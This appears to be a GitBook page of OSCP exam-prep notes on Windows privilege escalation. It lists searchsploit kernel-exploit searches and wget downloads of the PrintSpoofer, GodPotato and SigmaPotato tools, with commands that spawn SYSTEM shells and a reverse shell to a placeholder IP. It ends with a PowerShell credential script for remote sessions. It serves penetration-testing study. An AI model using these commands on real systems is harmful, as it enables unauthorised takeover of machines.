📘
OSCP Exam Prep
OSCP Exam Prep
OSCP Exam Prep
  • Reference List
  • Guideline
  • Commons
    • Basic Scans
    • Service Enumeration
      • HTTP(S) (80 / 443)
      • SMB (139 / 445)
      • FTP (21)
      • DNS (53)
      • SSH (22)
      • LDAP (389/636/3268)
      • Kerberos (88)
      • SNMP (161)
      • SMTP (25)
      • RDP (3389)
      • Evil-WinRM (5985/5986)
      • MYSQL (3306)
      • MSSQL (1433)
    • Default/Common Credentials
    • Shells
      • TTY Shell
    • File Transfer
    • KeePass Database
    • Port Forwarding
    • File Metadata
  • Attacks
    • Run a command x times
    • Public Exploits
    • User Creation
    • Password Cracking
      • Using custom wordlists
    • LFI/RFI
    • SQLi
    • PwnKit
    • SAM and SYSTEM files
    • Phishing for Access (Requires MailSVR)
    • GitDumper
  • Enumeration
    • Linux
    • Windows
  • Privilege Escalation
    • Linux
    • Windows
  • Port Forwarding Extras
    • Linux
    • Windows
  • Active Directory
    • Enumeration
    • Lateral Movement
    • Privilege Escalation
Powered by GitBook
On this page
  • Online Resource
  • Finding Kernel Exploits
  • Exploit Permissions
  • SeImpersonatePrivilege
  • Script to Create PS session
  1. Privilege Escalation

Windows

PreviousLinuxNextLinux

Last updated 3 months ago

Online Resource

Finding Kernel Exploits

SearchSploit:
 searchploit <keyword>
 searchsploit -m <EDB-ID>

For Kernal Vulnerabilities:
 searchsploit "windows kernel <keyword> Local Privilege Escalation"

 Identify <OS Name>, <OS Version>, and <OS Architecture> to fill for <keyword> with -
  systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    OR
  wmic os get Caption,Version,OSArchitecture
        
  Example: searchsploit "windows kernel Build XXXXX Local Privilege Escalation"

Exploit Permissions

SeImpersonatePrivilege

PrintSpoofer:
    wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
        OR
    wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe
    
    PrintSpoofer.exe -i -c <command>
        # Execute a Command as root
    PrintSpoofer.exe -c cmd
        # Spawn a command prompt as root on current session
    PrintSpoofer.exe -d <curent pid> -c "powershell -ep bypass"
        # Spawn SYSTEM process
        # Identify current process ID with - qwinsta

GodPotato.exe:
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
    wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe
        #Verify .NET framework to use with - reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s
        
    ./GodPotato-NET4.exe -cmd "<command>"
        # Execute a Command

SigmaPotato.exe:
    wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
    ./SigmaPotato.exe <command>
        # Execute a Command
    ./SigmaPotato.exe --revshell <ip_addr> <port>
        # Establish a PowerShell Reverse Shell

Script to Create PS session

$username = "<username>";
$password = "<password>";
$secureString = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

New-PSSession -ComputerName LEGACY -Credential $credential

To access the session: Enter-PSSession 1

LOLBAS
Logo